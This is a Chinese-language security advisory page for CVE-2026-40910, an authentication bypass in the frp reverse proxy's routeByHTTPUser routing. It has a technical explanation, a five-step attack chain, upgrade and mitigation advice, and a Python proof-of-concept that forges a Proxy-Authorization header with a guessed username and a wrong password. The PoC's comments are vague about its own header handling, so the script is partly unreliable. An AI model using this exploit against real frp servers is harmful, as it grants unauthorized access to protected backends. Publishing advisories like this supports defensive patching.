IPBUF安全漏洞报告
English
CVE-2026-40910 CVSS 6.5 中危

CVE-2026-40910 frp认证绕过漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40910
漏洞类型
认证绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
frp

相关标签

认证绕过frp反向代理访问控制CVE-2026-40910

漏洞概述

frp是一个快速反向代理。在版本0.43.0至0.68.0中,当使用routeByHTTPUser进行访问控制时,HTTP虚拟主机路由路径存在认证绕过漏洞。在代理式请求中,路由逻辑使用Proxy-Authorization头中的用户名来选择routeByHTTPUser后端,而访问控制检查则使用常规Authorization头中的凭据。因此,能够访问HTTP虚拟主机入口点并知道或猜测受保护的routeByHTTPUser值的攻击者,即使Proxy-Authorization密码不正确,也可能访问受httpUser/httpPassword保护的后端。该漏洞仅影响显式使用routeByHTTPUser的部署,已在0.68.1版本中修复。

技术细节

该漏洞的根源在于frp在处理HTTP虚拟主机路由时的身份验证逻辑与路由选择逻辑存在不一致。当配置中启用了routeByHTTPUser功能时,系统本意是根据HTTP基本认证中的用户名将流量分发到不同的后端服务。然而,受影响的代码实现在处理请求头时发生了逻辑割裂:路由组件仅依据Proxy-Authorization头部中的用户名字段来决定将请求转发至哪个后端,而不验证该头部中的密码是否正确。与此同时,真正的访问控制检查组件却依赖于Authorization头部。攻击者利用这一差异,只需构造包含目标用户名(routeByHTTPUser值)和任意错误密码的Proxy-Authorization头部,即可欺骗路由组件将流量转发至受保护的后端。由于路由层已经进行了转发,且后续的认证检查逻辑未能正确拦截这种不匹配的请求,导致攻击者无需知道真实密码即可成功访问敏感资源。

攻击链分析

STEP 1
信息收集
攻击者识别出目标使用frp作为反向代理,并开启了HTTP vhost功能。
STEP 2
枚举用户
攻击者通过猜测或泄露信息获取受保护后端对应的routeByHTTPUser用户名。
STEP 3
构造恶意请求
攻击者发送HTTP请求,在Proxy-Authorization头中填入获取的用户名和任意错误的密码。
STEP 4
路由绕过
frp路由逻辑根据Proxy-Authorization中的用户名将请求转发至受保护后端,由于认证逻辑缺陷,未正确拦截错误密码。
STEP 5
获取访问权限
攻击者成功绕过身份验证,获取到受保护后端的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # Exploit for CVE-2026-40910 # Description: Bypass authentication in frp when routeByHTTPUser is used. def exploit_frp_auth_bypass(target_url, target_user): """ Attempts to access a protected backend by exploiting the routing logic mismatch. """ # Construct the Proxy-Authorization header with the target user and a fake password. # The routing logic uses the username from this header to select the backend. fake_password = "incorrect_password" credentials = f"{target_user}:{fake_password}" encoded_creds = base64.b64encode(credentials.encode()).decode() headers = { "Proxy-Authorization": f"Basic {encoded_creds}", # The 'Authorization' header is used for the access control check, # but the vulnerability allows bypassing the password check in routing. # Depending on config, we might send nothing or a generic header here. } try: print(f"[*] Attempting to connect to {target_url} as user '{target_user}'...") response = requests.get(target_url, headers=headers) if response.status_code == 200: print(f"[+] Success! Accessed protected backend.") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target and guessed username TARGET = "http://example-frp.com:8080" USERNAME = "admin" # The value of routeByHTTPUser exploit_frp_auth_bypass(TARGET, USERNAME)

影响范围

frp 0.43.0 - 0.68.0

防御指南

临时缓解措施
建议立即将frp升级至0.68.1或更高版本以彻底修复此漏洞。如果暂时无法升级,应禁用routeByHTTPUser配置项,并使用网络访问控制列表(ACL)或防火墙规则严格限制对frp入口点的访问,仅允许可信IP地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表